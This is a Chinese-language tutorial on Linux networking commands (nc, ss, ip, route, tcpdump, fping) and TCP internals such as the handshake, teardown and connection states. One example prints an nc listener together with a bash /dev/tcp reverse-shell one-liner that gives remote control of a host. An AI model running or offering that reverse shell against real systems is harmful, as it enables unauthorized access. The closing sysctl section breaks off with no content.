RIP     # Routing Information Protocol,路由信息协议
OSPF # Open Shortest Path First,开放式最短路径优先
BGP # Border Gateway Protocol,边界网关协议

大概的过程:每个路由器向网络中广播,告诉其他路由器自己连接的网段,互通有无。例如 pc1 要和 pc2 通信,pc1 只要知道 gwA 能连接 pc1,gwA 只知道 gwB 能连接 pc1,而 gwB 只知道 gwC 能连接 pc1,就这样,最后通过 gwE 才真正连接到 pc2

不同的协议决定了路由器选择路径的算法不同。RIP 很少用,OSPF 用于局域网,BGP 用于互联网

nc

netcat,命令 nc 或 ncat,功能强大的网络工具,网络界的瑞士军刀

1
2
3
ncat|nc [OPTIONS...] [hostname] [port]

-l port # 启动一个服务器,监听端口号,不能监听已经被占用的端口号

示例:

1
2
3
4
5
6
7
[root@centos8 ~]# hostname -I
10.0.0.100
[root@centos8 ~]# nc -l 9501 # 建立服务端,监听本机的9501端口号
hello

[root@centos7 ~]# nc 10.0.0.100 9501 # 建立客户端,给10.0.0.100 9501发消息
hello

ss

ss 命令用于显示网络状态,利用 ss 可以让你得知整个 Linux 的网络情况

ss 来自于 iproute 包,代替 netstat,netstat 通过遍历 /proc来获取 socket 信息,主要是/proc/net/tcp/proc/net/tcp6 ,ss 使用 netlink 与内核 tcp_diag 模块通信获取 socket 信息,更加高效

一般来说,网络套接字是由 IP 地址,传输协议和端口来定义的。不过需要说明的是套接字不是连接本身,而是连接的端点之一

1
ss [ OPTIONS ] [ FILTER ]

默认情况下,如果我们运行ss命令而没有指定其他选项,它将显示所有已建立连接的打开的非侦听套接字的列表

OPTIONS:

1
2
3
4
5
6
7
8
9
10
11
-t    # 只显示TCP套接字。当与$(-l)结合只打印出监听套接字时,我们可以看到所有在TCP上侦听的内容。
-u # 仅显示UDP套接字。由于UDP是一种无连接的协议,因此只运行$(-u)选项将不显示输出,我们可以将它与$(-a)或$(-l)选项结合使用,来查看所有侦听UDP套接字
-w # 裸套接字相关
-x # unix sock相关
-l # 列出当前正在被监听的套接字
-a # 不加l参数和加l参数的合集
-n # 数字格式
-p # 相关的程序及PID
-e # 扩展的信息
-m # 内存用量
-o # 计时器信息

-l 示例:查看已经被使用的端口,使用 nc -l 尝试监听 9501 端口,报错提示已经被占用了

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
[root@4710419222 ~]# ss -ntl
State Recv-Q Send-Q Local Address:Port Peer Address:Port
LISTEN 0 511 127.0.0.1:6379 *:*
LISTEN 0 128 *:111 *:*
LISTEN 0 511 *:80 *:*
LISTEN 0 128 *:46837 *:*
LISTEN 0 128 *:22 *:*
LISTEN 0 511 *:443 *:*
LISTEN 0 512 *:9501 *:*
LISTEN 0 512 *:9502 *:*
LISTEN 0 511 *:8000 *:*
LISTEN 0 300 *:3306 *:*
LISTEN 0 7 *:3690 *:*
LISTEN 0 128 :::111 :::*
LISTEN 0 128 :::58750 :::*
[root@4710419222 ~]# nc -l 9501
Ncat: bind to 0.0.0.0:9501: Address already in use. QUITTING.

FILTER

FILTER : [ state TCP-STATE ] [ EXPRESSION ]

state TCP-STATE:

1
2
3
4
5
6
7
LISTEN       # 监听
ESTABLISHED # 已建立的连接
FIN_WAIT_1
FIN_WAIT_2
SYN_SENT
SYN_RECV
CLOSED

EXPRESSION :

1
2
dport =
sport =

常用组合:-nt -ntl -nta -ntal -ntalp -ntlp -nua -ntu -ntul

示例:

1
2
3
4
5
6
7
8
9
10
11
12
ss -l                                                        #显示本地打开的所有端口
ss -pl #显示每个进程具体打开的socket
ss -t -a #显示所有tcp socket
ss -u -a #显示所有的UDP Socekt
ss -o state established '( dport = :ssh or sport = :ssh )' #显示所有已建立的ssh连接
ss -o state established '( dport = :http or sport = :http )' #显示所有已建立的HTTP连接
ss -s #列出当前socket详细信息


[root@centos8 ~]#ss -no state established '( dport = :21 or sport = :21 )'
Netid Recv-Q Send-Q Local Address:Port Peer Address:Port
tcp 0 0 [::ffff:10.0.0.8]:21 [::ffff:10.0.0.7]:46638 timer:(keepalive,119min,0)

ifconfig

interface config 接口配置,ifconfig 命令用于显示设置网络设备。 来自于 net-tools 包,建议使用 ip 代替

1
2
3
4
-a    # 显示全部接口信息,包括已经被禁用的网卡
-s # 示摘要信息(类似于 netstat -i)
up # 启用网卡,调用的是/usr/sbin/ifup脚本
down # 禁用网卡,调用的是/usr/sbin/ifdown脚本

示例:

1
ifconfig -s ens33

示例:

1
2
3
4
5
6
7
8
9
#清除eth0上面的IP地址
[root@centos8 ~]#ifconfig eth0 0.0.0.0

#启用和禁用网卡
[root@centos8 ~]#ifconfig eth0 down
[root@centos8 ~]#ifconfig eth0 up

#对一个网卡设置多个IP地址
[root@centos8 ~]#ifconfig eth0:1 172.16.0.8/24

NetworkManager

chkconfig

1
2
3
4
5
chkconfig [--list] [--type <type>] [name]
chkconfig --add <name>
chkconfig --del <name>
chkconfig --override <name>
chkconfig [--level <levels>] [--type <type>] <name> <on|off|reset|resetpriorities>

维护/etc/rc[0-6].d 目录,可以看到目录下都链接文件,有 K 开头和 S 开头,K 开头需要传入 stop 参数,S 开头需要传入 start 参数。init 进程有 0-6 种等级,init 会执行对应 rc 目录下的所有脚本,例如:init0 关机,会执行 rc0.d 目录下的所有脚本,所以可以看到 rc0.d 目录下全都是 K 开头的文件。

init1-5 开机自启,init0、6 关机自动运行。所以可以把管理脚本放到/etc/rc.d/init.d 目录下,然后在 rc[0-6].d 目录下按照一定的命名规范创建软连接即可。chkconfig 命令可以帮我们实现创建、修改、删除等管理软连接的操作,从而实现开机自启、关机自动关闭等功能。

  • –add:在 rc[0-6].d 下创建对应链接文件,rc[016].d 下是 K 开头,rc[2-5].d 下是 S 开头
  • –del:删除 rc[0-6].d 下对应的链接文件
  • –list:列出 chkconfig 管理的所有服务
  • on:修改 rc[0-6].d 下对应链接文件,rc[016].d 下是 K 开头,rc[2-5].d 下是 S 开头。如果没有则创建
  • off:修改 rc[0-6].d 下对应链接文件为 K 开头。如果没有则创建

chkconfig 适用于 CentOS6,CentOS7 也可以用,但是不推荐,CentOS8 下的 chkconfig 实际上是调用 systemctl

CentOS7、8 推荐使用 systemctl

service 和 systemctl

Linux 服务管理两种方式 service 和 systemctl ,service 配合 init,systemctl 配合 systemd。centos7、8 中的 init 被重定向到 systemd

service

service 命令其实是去/etc/init.d 目录下,去执行相关程序

systemctl

systemctl 集合了 service 和 chkconfig 的所有功能,在 CentOS8 下使用这俩命令实际上是间接调用 systemctl

unit

单元,systemd 中的一个概念,系统初始化需要做的事情非常多。需要启动后台服务,比如启动 ssh 服务;需要做配置工作,比如挂载文件系统。这个过程中的每一步都被 systemd 抽象为一个配置单元,即 unit。可以认为一个服务是一个配置单元,一个挂载点是一个配置单元,一个交换分区的配置是一个配置单元等等。systemd 将配置单元归纳为以下一些不同的类型。然而,systemd 正在快速发展,新功能不断增加。所以配置单元类型可能在不久的将来继续增加。下面是几个常见的 unit 类型:

1
2
3
4
5
6
7
8
- service    # 代表一个后台服务进程,这个最多的
- target
- wants
- socket
- mount
- slice
- path
- timer

配置单元的目录:/usr/lib/systemd/system

route

路由表管理命令

查看路由表

1
2
3
4
route
route -n

-n # 以数字形式代替解释主机名形式来显示地址。此项对试图检测对域名服务器进行路由发生故障的原因非常有用

添加路由

1
2
3
4
5
6
7
8
route add [-net|-host|default] <TARGET> [netmask Nm] [gw <GW>] [[dev] <If>]

-net # 目标地址是网段
-host # 目标地址是主机,一般不添加这种路由
default # 默认,目标地址0.0.0.0
target # 目标网络,可以用CIDR表示法,也可以写子网掩码,推荐前者
gw # 网关
dev # 本机接口,指定从哪个接口往目标网络发送请求,这个参数一般会忽略不写,因为通过网关和目标地址会自动判断。网关不为0.0.0.0,则这个本机接口和网关IP在同一网段;网关0.0.0.0,说明目标ip和本机ip在同一网段,那这个本机接口就和目标地址的ip在同一网段

示例:

1
2
3
4
5
6
7
8
[root@centos7 ~]#route add -net 172.18.0.0/16 gw 10.0.0.100 dev ens33
[root@centos7 ~]#route -n
Kernel IP routing table
Destination Gateway Genmask Flags Metric Ref Use Iface
0.0.0.0 10.0.0.2 0.0.0.0 UG 100 0 0 ens33
10.0.0.0 0.0.0.0 255.255.255.0 U 100 0 0 ens33
10.0.0.0 0.0.0.0 255.255.255.0 U 101 0 0 ens37
172.18.0.0 10.0.0.100 255.255.0.0 UG 0 0 0 ens33

删除路由

怎添加就怎么删除

1
route del [-net|-host] target [gw Gw] [netmask Nm] [[dev] If]

示例:

1
2
3
4
5
6
7
[root@centos7 ~]#route del -net 172.18.0.0/16 gw 10.0.0.100 dev ens33
[root@centos7 ~]#route -n
Kernel IP routing table
Destination Gateway Genmask Flags Metric Ref Use Iface
0.0.0.0 10.0.0.2 0.0.0.0 UG 100 0 0 ens33
10.0.0.0 0.0.0.0 255.255.255.0 U 100 0 0 ens33
10.0.0.0 0.0.0.0 255.255.255.0 U 101 0 0 ens37

ip

来自于 iproute 包,集合了 ifconfig 和 route 的所有功能,官方推荐使用 ip addressip link 代替 ifconfig 命令;使用 ip route 代替 route 命令

1
ip [ OPTIONS ] OBJECT { COMMAND | help }

ip 地址管理

给网卡 添加 | 删除 ip

1
2
3
4
5
ip address { add | del } IFADDR dev STRING [label LABEL] [scope {global|link|host}] [broadcast ADDRESS]

label #网卡别名
scope #指明作用域,global 全局可用、link 仅链接可用(必须绑定网卡,只有绑定的网口近来的请求可以相应)、host 本机可用
broadcast #指明广播地址

address 可以简写为 addr 甚至 a 都可以

示例:给 ens37 网卡添加 ip

ens37 网卡初始状态 ip address show dev ens37

给 ens37 添加 ip:11.0.0.120/24 ip address add 11.0.0.120/24 dev ens37

给 ens37 添加 ip:11.0.0.130/24 同时设置别名 ip address add 11.0.0.130/24 dev ens37 label ens37:1

示例:删除 ens37 网卡的 ip

1
2
[root@centos7 ~]#ip address del 11.0.0.120/24 dev ens37
[root@centos7 ~]#ip address del 11.0.0.130/24 dev ens37

示例:修改 ens37 网卡的 ip

1
2
3
# 添加新的,删除旧的
[root@centos7 ~]#ip address add 11.0.0.111/24 dev ens37
[root@centos7 ~]#ip address del 11.0.0.110/24 dev ens37

示例:设置 ip 过期时间

示例:replace 直接替换 ip

网卡管理

1
2
3
4
5
6
7
ip link set eth1 down         #禁用网卡
ip link set eth1 name wangnet #网卡改名
ip link set wangnet up #启用网卡
ip addr flush dev eth0 #清除网络地址
#网卡别名
ip addr add 172.16.100.100/16 dev eth0 label eth0:0
ip addr del 172.16.100.100/16 dev eth0 label eth0:0

示例:临时修改网卡名称

1
2
3
$ip link set eth0 down      # 关闭网卡
$ip link set eth0 name abc # 修改网卡
$ip link set abc up # 启动网卡

路由管理

1
2
3
4
5
6
7
8
9
10
11
12
13
#添加路由:via是 经过 的意思
ip route add <TARGET> via <GW> dev <IFACE> src <SOURCE_IP>
TARGET:
主机路由:IP
网络路由:NETWORK/MASK
#添加网关:
ip route add default via GW dev IFACE
#删除路由:怎么添加就怎么删除,ip route 查询的直接整行复制就是 TARGET
ip route del TARGET
#显示路由:
ip route show|list
#清空路由表:
ip route flush [dev IFACE] [via PREFIX]

示例:

1
2
3
4
5
6
7
[root@centos7 ~]#ip route add 1.1.1.0/24 via 10.0.0.200 dev ens33
[root@centos7 ~]#ip route
default via 10.0.0.2 dev ens33 proto static metric 100
1.1.1.0/24 via 10.0.0.200 dev ens33
10.0.0.0/24 dev ens33 proto kernel scope link src 10.0.0.100 metric 100
11.0.0.0/24 dev ens37 proto kernel scope link src 11.0.0.110 metric 101
[root@centos7 ~]#ip route del 1.1.1.0/24 via 10.0.0.200 dev ens33

示例:查看路由过程

1
2
3
4
5
6
7
[root@centos8 ~]#ip route get 10.0.0.7  #查看到达10.0.0.7所使用的路由
10.0.0.7 dev eth0 src 10.0.0.8 uid 0
cache

[root@centos7 ~]#ip route get 47.104.192.22 #查看到达47.104.192.22所使用的路由
47.104.192.22 via 10.0.0.2 dev ens33 src 10.0.0.100
cache

watch

watch 可以将命令的输出结果输出到标准输出设备,多用于周期性执行命令/定时执行命令。
可以用来监测一个命令的运行结果,来监测你想要的一切命令的结果变化。

1
2
3
4
watch [options] command

-n # 每隔几秒运行一次程序,默认2秒
-d # 高亮显示变化的区域

示例:

1
[root@centos7 ~]# watch -n 1 -d ifconfig -s ens33

arp

管理系统的 arp 缓存

  • -n:以数字形式显示 ip
  • -d address:删除一个 arp 表项
  • -s address hw_addr:添加一个 arp 表项,将 ip 和 MAC 地址绑定

网络测试诊断命令

测试网络连通性

ping

fping

跟踪路由

traceroute
tracepath
mtr

确定名称服务器使用

nslookup
host
dig

抓包工具

tcpdump
wireshark

安全扫描工具

nmap
netcat:网络界的瑞士军刀,即 nc / ncat

流量控制工具

tc

fping

类似 ping,用于将 icmp 探测发送到网络主机,当需要探测多个主机的网络时,fping 性能更高

示例:

1
2
3
4
fping 10.0.0.7
fping 10.0.0.7 10.0.0.8
fping -g 10.0.0.0/24
fping -g 10.0.0.5 10.0.0.10 # 10.0.0.5 ~ 10.0.0.10

如果不想被大量的 ping 和 fping 请求占用资源,可以设置禁止回复 icmp 的请求:

1
echo 1 > /proc/sys/net/ipv4/icmp_echo_ignore_all

tcpdump ★★★

网络数据包截获分析工具。支持针对网络层、协议、主机、网络或端口的过滤。并提供 and、or、not 等逻辑语句帮助去除无用的信息

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
tcpdump [-adeflnNOpqStvx][-c<数据包数目>][-dd][-ddd][-F<表达文件>][-i<网络界面>][-r<数据包文件>][-s<数据包大小>][-tt][-T<数据包类型>][-vv][-w<数据包文件>][输出数据栏位]

-a # 尝试将网络和广播地址转换成名称
-c # <数据包数目 >收到指定的数据包数目后,就停止进行倾倒操作
-d # 把编译过的数据包编码转换成可阅读的格式,并倾倒到标准输出
-dd # 把编译过的数据包编码转换成C语言的格式,并倾倒到标准输出
-ddd # 把编译过的数据包编码转换成十进制数字的格式,并倾倒到标准输出
-e # 在每列倾倒资料上显示连接层级的文件头
-f # 用数字显示网际网络地址
-F # <表达文件 >指定内含表达方式的文件
-i # <网络界面 >使用指定的网络截面送出数据包
-l # 使用标准输出列的缓冲区
-n # 不把主机的网络地址转换成名字
-N # 不列出域名
-O # 不将数据包编码最佳化
-p # 不让网络界面进入混杂模式
-q # 快速输出,仅列出少数的传输协议信息
-r # <数据包文件 >从指定的文件读取数据包数据
-s # <数据包大小 >设置每个数据包的大小
-S # 用绝对而非相对数值列出TCP关联数
-t # 在每列倾倒资料上不显示时间戳记
-tt # 在每列倾倒资料上显示未经格式化的时间戳记
-T # <数据包类型 >强制将表达方式所指定的数据包转译成设置的数据包类型
-v # 详细显示指令执行过程
-vv # 更详细显示指令执行过程
-x # 用十六进制字码列出数据包资料
-w # <数据包文件 >把数据包数据写入指定的文件

示例:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
# 查看网卡
[root@47105171233 ~]$tcpdump -D
1.eth0
2.nflog (Linux netfilter log (NFLOG) interface)
3.nfqueue (Linux netfilter queue (NFQUEUE) interface)
4.usbmon1 (USB bus number 1)
5.any (Pseudo-device that captures on all interfaces)
6.lo [Loopback]

# 不指定任何参数,监听第一块网卡上经过的数据包。主机上可能有不止一块网卡,所以经常需要指定网卡
tcpdump

# 监听特定网卡
tcpdump -i eth0

# 监听本机和特定主机的通信,监听主机10.0.0.100 的通信包,注意:出、入的包都会被监听
tcpdump host 10.0.0.100

# 特定来源、目标地址的通信
tcpdump src host hostname #特定来源
tcpdump dst host hostname #特定目标地址
tcpdump host hostname #如果不指定src跟dst,那么来源或者目标是hostname的通信都会被监听
tcpdump port 3000 #特定端口

# 只监听TCP的数据包
tcpdump tcp

# 来源主机+端口+TCP,监听来自主机10.0.0.100在端口22上的TCP数据包
tcpdump tcp port 22 and src host 10.0.0.100

# 监听特定主机之间的通信
tcpdump ip host 10.0.0.101 and 10.0.0.102

# 10.0.0.101和除了10.0.0.1之外的主机之间的通信
tcpdump ip host 10.0.0.101 and ! 10.0.0.1

# 详细示例
tcpdump tcp -i eth1 -t -s 0 -c 100 and dst port ! 22 and src net 192.168.1.0/24 -w ./target.cap
# tcp: ip icmp arp rarp 和 tcp、udp、icmp这些选项等都要放到第一个参数的位置,用来过滤数据报的类型
# -i eth1 : 只抓经过接口eth1的包
# -t : 不显示时间戳
# -s 0 : 抓取数据包时默认抓取长度为68字节。加上-S 0 后可以抓到完整的数据包
# -c 100 : 只抓取100个数据包
# dst port ! 22 : 不抓取目标端口是22的数据包
# src net 192.168.1.0/24 : 数据包的源网络地址为192.168.1.0/24
# -w ./target.cap : 保存成cap文件,方便用wireshark分析

nmap ★★★

扫描远程主机工具,功能远超越用世人皆知的 Ping

TCP/IP 是一个协议栈,包括 TCP、IP、UDP、ICMP、RIP、TELNET、FTP、SMTP、ARP 等许多协议

TCP/IP 通信过程

FCS:Frame Check Sequence(帧校验序列),俗称帧尾,即计算机网络数据链路层的协议数据单元(帧)的尾部字段,是一段 4 个字节的循环冗余校验码。

源节点发送数据帧时,由帧的帧头和数据部分计算得出 FCS,目的节点接收到后,用同样的方式再计算一遍 FCS,如果与接收到的 FCS 不同,则认为帧在传输过程中发生了错误,从而选择丢弃这个帧。

FCS 提供了一种错误检测机制,用来验证帧在传输过程中的完整性。

传输层

TCP 包头结构

  • 源端口、目标端口:源端口一般是随机的、动态的,范围默认是 49152-65535,/proc/sys/net/ipv4/ip_local_port_range 中可以配置;目标端口是预设的,例如 http 服务一般是 80,https 服务一般是 443。

  • 序列号:表示本报文段所发送数据的第一个字节的编号。在 TCP 连接中所传送的字节流的每一个字节都会按顺序编号。由于序列号由 32 位表示,所以每 2^32 个字节,就会出现序列号回绕,再次从 0 开始

    seq 是我现在位置,next seq 是对方成功接收到报文后我要去的位置,ack 是确认对方位置,并希望对方下次从这个位置开始发送信息。

    A 发送”hello”给 Bseq 1 next seq 7 ack 1,B 接收到”hello” 回复 seq 1 next seq 1 ack 7
    A:我当前位置 1(seq),发你 6 个字节,如果你收到了我就去位置 7(nex seq),确认一下:你现在在 1 吗(ack)
    B:我当前位置 1(seq),因为这次我没有发送信息,只是回复确认我收到消息了,所以发完这条回复后 我还在 1(next seq),确认一下:你现在在 7 吗(ack)
    A 收到回复,默默去了 7
    B 发送”hello too”给 A seq 1 next seq 11 ack 7,A 接收到”hello too” 回复 seq 7 next seq 7 ack 11;
    B:我在 1,你收到 hello too 我就去 11,你在 7 吗
    A:我在 7,你收到这条消息后我还在 7,数据我收到了,你去 11 吧
    B 收到回复,默默去了 11
    A 发送”hello too too”给 B seq 7 next seq 21 ack 11,B 接收到”hello too too” 回复 seq 11 next seq 11 ack 21;

  • 确认号:ack 表示接收方期望收到发送方下一个报文段的第一个字节数据的编号。也就是告诉发送方:我希望你(指发送方)下次发送的数据的第一个字节数据的编号

  • 数据偏移:表示 TCP 首部的长度,该字段占 4bit,取最大的 1111 时,也就是十进制的 15,TCP 首部的偏移单位为 4byte,那么 TCP 首部长度最长为 15*4=60 字节。

  • 保留

  • URG:紧急位,后面的紧急指针只有在 URG=1 时才生效

  • ACK:确认位,Acknowledge character,若 ACK=1,则表示前面的确认号有效,TCP 规定,连接建立后,ACK 必须为 1,带 ACK 标志的 TCP 报文段称为确认报文段,注意不要和上面的 ack 搞混,上面那个确认号,这个是确认位,在 tcp 包头的位置不一样。

  • PSH:push,提示接收端应用程序应该立即从 TCP 接收缓冲区中读走数据,为接收后续数据腾出空间。如果为 1,则表示对方应当立即把数据提交给上层应用,而不是缓存起来,如果应用程序不将接收到的数据读走,就会一直停留在 TCP 接收缓冲区中

  • RST:如果收到一个 RST=1 的报文,说明与主机的连接出现了严重错误(如主机崩溃),必须释放连接,然后再重新建立连接。或者说明上次发送给主机的数据有问题,主机拒绝响应,带 RST 标志的 TCP 报文段称为复位报文段

  • SYN:同步位,在建立连接时使用,用来同步序号。当 SYN=1,ACK=0 时,表示这是一个请求建立连接的报文段;当 SYN=1,ACK=1 时,表示对方同意建立连接。SYN=1,说明这是一个请求建立连接或同意建立连接的报文。只有在前两次握手中 SYN 才置为 1,带 SYN 标志的 TCP 报文段称为同步报文段

  • FIN:终止位,表示通知对方本端要关闭连接了,标记数据是否发送完毕。如果 FIN=1,即告诉对方:“我的数据已经发送完毕,你可以释放连接了”,带 FIN 标志的 TCP 报文段称为结束报文段

  • 窗口大小:表示现在允许对方发送的数据量,也就是告诉对方,从本报文段的确认号开始允许对方发送的数据量,达到此值,需要 ACK 确认后才能再继续传送后面数据,由 Window size value *Window size scaling factor(此值在三次握手阶段 TCP 选项 Window scale 协商得到)得出此值

  • 校验和:校验整个 TCP 报文段,提供额外的可靠性

  • 紧急指针:标记紧急数据在 TCP 数据部分中的位置

  • 选项部分:选项部分是 TCP 为了适应复杂的网络环境和更好的服务应用层而进行设计的,因为 TCP 首部最长 60 字节,所以选项部分最长 40 字节。常见的选项:

    • 最大报文段长度 MSS(Maximum Segment Size),通常 1460 字节
    • 窗口扩大 Window Scale
    • 时间戳 Timestamps
  • 填充:填充是为了使 TCP 首部为 4byte 的整数倍。

TCP 协议 PORT

传输层通过 port 号,确定应用层协议,范围 0-65535,FTP:21、Telnet:23、HTTP:80、DNS:53、TFTP:69、SNMP:161

  • 0-1023:系统端口或特权端口(仅管理员可用),永久的分配给固定的系统应用使用,22/tcp(ssh), 80/tcp(http)、443/tcp(https)
  • 1024-49151:用户端口或注册端口,但要求并不严格,分配给程序注册为某应用使用,1433/tcp(SqlServer)、1521/tcp(oracle)、3306/tcp(mysql)、11211/tcp/udp(memcached)
  • 49152-65535:动态或私有端口,客户端随机使用端口,范围定义:/proc/sys/net/ipv4/ip_local_port_range

/etc/services 这个文件记录了常用的服务对应的端口号

1
2
3
4
5
6
7
8
9
10
11
12
[root@centos8 ~]# cat /etc/services | grep mysql
mysql 3306/tcp # MySQL
mysql 3306/udp # MySQL
mysql-cluster 1186/tcp # MySQL Cluster Manager
mysql-cluster 1186/udp # MySQL Cluster Manager
mysql-cm-agent 1862/tcp # MySQL Cluster Manager Agent
mysql-cm-agent 1862/udp # MySQL Cluster Manager Agent
mysql-im 2273/tcp # MySQL Instance Manager
mysql-im 2273/udp # MySQL Instance Manager
mysql-proxy 6446/tcp # MySQL Proxy
mysql-proxy 6446/udp # MySQL Proxy
mysqlx 33060/tcp # MySQL Database Extended Interface

范例:找到端口冲突的应用程序

1
2
3
4
5
6
# ss命令查看套接字,找到冲突的端口号,l参数表示查看被占用(监听)的端口号
ss -ntl
## p参数可以看到占用该端口的进程
ss -ntlp
## 或者使用lsof能查看更详细的进程信息
lsof -i :port

范例:判断端口是否被占用,除了使用 ss,还以用以下方式

1
2
3
[root@4710419222 ~]# < /dev/tcp/127.0.0.1/9501
[root@4710419222 ~]# echo $?
0

范例:反弹 shell 实现远程控制

1
2
3
4
5
6
7
8
9
#在控制机监听打开端口
[root@centos8 ~]#dnf -y install nc
[root@centos8 ~]#nc -lvp 6666
Ncat: Version 7.70 ( https://nmap.org/ncat )
Ncat: Listening on :::6666
Ncat: Listening on 0.0.0.0:6666
#在被控制机上实现反弹shell
[root@centos7 ~]#bash -i &> /dev/tcp/10.0.0.8/6666 0>&1
#在控制机主机可以观察到以下信息,自动登录到被控制主机,且可以执行命令

TCP 三次握手

以下 主动方 是 主动握手方,被动方 是 被动握手方

再说一遍:SYN 是同步位,要求建立同步连接。ACK 是确认位,确保现在的连接是有效的(确保 seq、next seq、ack 等数据是有效的)

第一次握手:主动方 —> 被动方,SYN=1,ACK=0
第二次握手:被动方 —> 主动方,SYN=1,ACK=1
第三次握手:主动方 —> 被动方,SYN=0,ACK=1,之后的通信确保 ACK 位一直为 1

三次握手过程中 seq 和 ack

1
2
3
seq   # 我当前的位置
next seq # 我下一步准备去的位置,注意:只有确认对方成功收到这条报文,才真的去这个位置,那如何确认呢?只要下一条返回的报文的ack等于next seq,就确认了
ack # 确认对方位置,并希望对方下次从这个位置开始发送信息
  1. 第一次握手:主动方 —> 被动方:seq=0,next seq=1,ack=0
    我在 0(seq=0),你收到这条消息我就去 1(next seq=1),你在 0 吗(ack=0)

  2. 第二次握手:被动方 —> 主动方:seq=0,next seq=1,ack=1
    我在 0(seq=0),你收到这条消息我就去 1(next seq=1),你在 1 吗(ack=1)

  3. 第三次握手:主动方 —> 被动方:seq=1,next seq=1,ack=1
    我在 1(seq=1),你收到这条消息我还在 1(next seq=1),你在 1 吗(ack=1)

  4. 服务端收到了,默默去了 1

  5. 之后进行数据传送

前 3 条报文互相没有发送任何数据,只是相互通知自己要去 1,同时确认对方也到 1

sync 半连接和 accept 全连接队列

  • syns queue:第一次握手后,被动方把请求放到 syns queue(半连接队列、未完成连接队列),然后进入 SYN-RCVD 状态

    1
    /proc/sys/net/ipv4/tcp_max_syn_backlog   #半连接队列大小,默认值128,建议调整大小为1024以上
  • accept queue:最后一次握手后,从 syns queue 中拿出相关信息放到 accept queue(全连接队列、完成连接队列),然后进入 ESTAB 状态

    1
    /proc/sys/net/core/somaxconn    #全连接队列大小,默认值128,建议调整大小为1024以上

三次握手过程中 TCP 状态

主动方:

1
2
3
CLOSED   # 三次握手之前的状态
SYN-SENT # 发送SYN=1的请求建立连接的报文后的状态
ESTAB-LISTEN # 建立连接,开始传输数据,也可以只显示ESTAB

被动方:

1
2
3
4
CLOSED   # 服务器还没有建立监听状态,此时无法处理客户端发送的请求,也就是无法进行三次握手
LISTEN # 建立监听状态,例如启动nginx后,才会监听80端口,此时才能处理http请求
SYN-RCVD # 第二次握手和第三次握手的间隙
ESTAB-LISTEN # 建立连接,开始传输数据,也可以只显示ESTAB

TCP 四次挥手

以下 主动方 是主动挥手方,被动方 是 被动挥手方

  1. 主动方 —> 被动方:ACK=1,FIN=1
    FIN=1 告诉服务器我要断开连接
  2. 被动方 —> 主动方:ACK=1
    收到消息,你稍等,我看看还有没有数据再给你
  3. 被动方 —> 主动方:ACK=1,FIN=1,PSH=1
    可能携带数据,也可能不携带,总之,你一次性取出来吧。这次你断开吧
  4. 主动方 —> 服务器:ACK=1
    OK,我断开了,拜拜

注意:非正常的断开连接是不会有完整的四次挥手的

四次挥手中 seq 和 ack 是如何变化的:相互通知对方自己的位置相较正常发送数据的情况下往前多走 1 位,并确认对方的位置

四次挥手过程中 TCP 状态

主动方:

  • ESTAB-LISTEN:双方连接正常,也可以只显示 ESTAB

  • FIN-WAIT-1:主动方发送 FIN=1 请求断开连接请求,到被动方回复 ACK=1,确认收到请求的这段时间

  • FIN-WAIT-2:确认被动方收到分手请求,到被动方发送最后一次数据的这段等待时间。处于 FIN_WAIT_2 状态的主动方需要等待被动方发送结束报文段,才能转移至 TIME_WAIT 状态,否则它将一直停留在这个状态。连接长时间地停留在 FIN_WAIT_2,可能会未等服务器关闭连接就强行退出了,此时客户端连接由内核来接管,可称之为孤儿连接(和孤儿进程类似)。
    Linux 为了防止孤儿连接长时间存留在内核中,定义了两个内核参数:

    1
    2
    /proc/sys/net/ipv4/tcp_max_orphans #指定内核能接管的孤儿连接数目
    /proc/sys/net/ipv4/tcp_fin_timeout #指定孤儿连接在内核中生存的时间
  • TIME-WAIT:主动方发送完最后一次挥手后,保持这个状态,确保 tcp 连接不断开,时间是 2MSL,确保被动方第三次挥手发送失败可以重发。

    • 每个报文段的生命周期是 1 个 MSL,一般是 30 秒
    • 只有主动方等待 2 个单位的 MSL,才能确保可以收到被动方的重传 FIN 报文
  • CLOSED:彻底断开连接,可以重新建立连接了

以上是理想情况,实际上主动方先发送一个 FIN 给被动方,自己进入 FIN_WAIT_1 状态,这时等待接收被动方报文,该报文会有三种可能:

  • ACK:只收到被动方的 ACK,主动方会进入 FIN_WAIT_2 状态

  • FIN:只有被动方的 FIN 时,回应一个 ACK 给被动方,进入 CLOSING 状态,然后接收到被动方的 ACK 时,进入 TIME_WAIT 状态

  • ACK、FIN:同时收到被动方的 ACK 和 FIN,直接进入 TIME_WAIT 状态

被动方:

1
2
3
4
ESTAB-LISTEN # 双方连接正常,也可以只显示ESTAB
CLOSE-WAIT # 确认收到挥手请求,到发送最后一次数据传输中间的状态,即第二、三次挥手的中间状态
LAST-ACK # 发送完最后一次数据传输,等待主动方最后的挥手,即第三、四次挥手的中间状态
CLOSED # 彻底断开连接,可以重新建立连接了

tcp 状态以及状态转换

  1. CLOSED:没有任何连接状态
  2. LISTEN:侦听状态,等待来自远方 TCP 端口的连接请求
  3. SYN-SENT:在发送连接请求后,等待对方确认
  4. SYN-RECEIVED:SYN-RCVD,在收到和发送一个连接请求后,等待对方确认
  5. ESTABLISHED:代表传输连接建立,双方进入数据传送状态
  6. FIN-WAIT-1:主动关闭,主机已发送关闭连接请求,等待对方确认
  7. FIN-WAIT-2:主动关闭,主机已收到对方关闭传输连接确认,等待对方发送关闭传输连接请求
  8. TIME-WAIT:完成双向传输连接关闭,等待所有分组消失
  9. CLOSE-WAIT:被动关闭,收到对方发来的关闭连接请求,并已确认
  10. LAST-ACK:被动关闭,等待最后一个关闭传输连接确认,并等待所有分组消失
  11. CLOSING:双方同时尝试关闭传输连接,等待对方确认

tcp 超时重传

1
2
/proc/sys/net/ipv4/tcp_retries1 #指定在底层IP接管之前TCP最少执行的重传次数,默认值是3
/proc/sys/net/ipv4/tcp_retries2 #指定连接放弃前TCP最多可以执行的重传次数,默认值15(一般对应13~30min)

拥塞控制

当前所使用的拥塞控制算法

1
/proc/sys/net/ipv4/tcp_congestion_control

tcp 内核参数优化

编辑文件/etc/sysctl.conf,加入以下内容:然后执行 sysctl -p 让参数生效。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
